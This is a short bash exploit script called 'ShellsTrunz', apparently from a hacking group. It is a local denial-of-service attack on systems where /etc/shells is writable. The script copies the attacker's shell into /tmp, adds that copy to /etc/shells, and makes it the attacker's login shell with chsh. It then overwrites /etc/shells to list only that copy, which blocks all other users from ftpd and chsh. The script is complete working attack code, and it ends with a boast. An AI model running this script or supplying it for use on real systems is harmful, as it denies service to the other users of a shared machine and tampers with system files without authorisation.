#! /bin/bash
######################################################################
#                                                                    #
#   ShellsTrunz - /etc/shells ftpd and chsh denial of services       #
#                                                                    #
#                 by tHE rECIdjVO - recidjvo@pkcrew.org              #
#                 Member of the Packet Knights                       #
#                 http://www.pkcrew.org/                             #
#                                                                    #
######################################################################

SHELLS_FILE=/etc/shells
PASSWD_FILE=/etc/passwd
NEW_SHELL=/tmp/bash
SHELLS_BACKUP=/tmp/.shells.bak

echo -e "ShellsTrunz - /etc/shells ftpd and chsh local denial of services"
echo -e "by tHE rECIdjVO - recidjvo@pkcrew.org\n"

echo -ne "-/\- Checking if $SHELLS_FILE is writable... "
if [ ! -w $SHELLS_FILE ]; then
	echo -e "no.\n-/\- ERROR: $SHELLS_FILE is not writable :("
	echo -e "-/\- Exiting."
	exit
fi;

CP=`which cp`
CHSH=`which chsh`
USERNAME=`whoami`
OLD_SHELL=`grep $USERNAME $PASSWD_FILE | cut -d: -f7`

echo -e "yes.\n-/\- Set USERNAME to $USERNAME"
echo -e "-/\- Set OLD_SHELL to $OLD_SHELL\n"

echo -ne "-/\- Creating backup in $SHELLS_BACKUP... "
$CP -p $SHELLS_FILE $SHELLS_BACKUP
echo -ne "done.\n-/\- Coping $OLD_SHELL in $NEW_SHELL... "
$CP -p $OLD_SHELL $NEW_SHELL
echo -ne "done.\n-/\- Adding new shell in $SHELLS_FILE... "
echo -e "$NEW_SHELL" >> $SHELLS_FILE
echo -e "done.\n-/\- Changing your default shell to let you use ftpd and chsh. "
$CHSH $USERNAME -s $NEW_SHELL
echo -ne "-/\- Remove other shells from $SHELLS_FILE... "
echo -e "$NEW_SHELL" > $SHELLS_FILE
echo -e "done.\n"

echo -e "Now only you, root and God can use ftpd and chsh :)"
exit
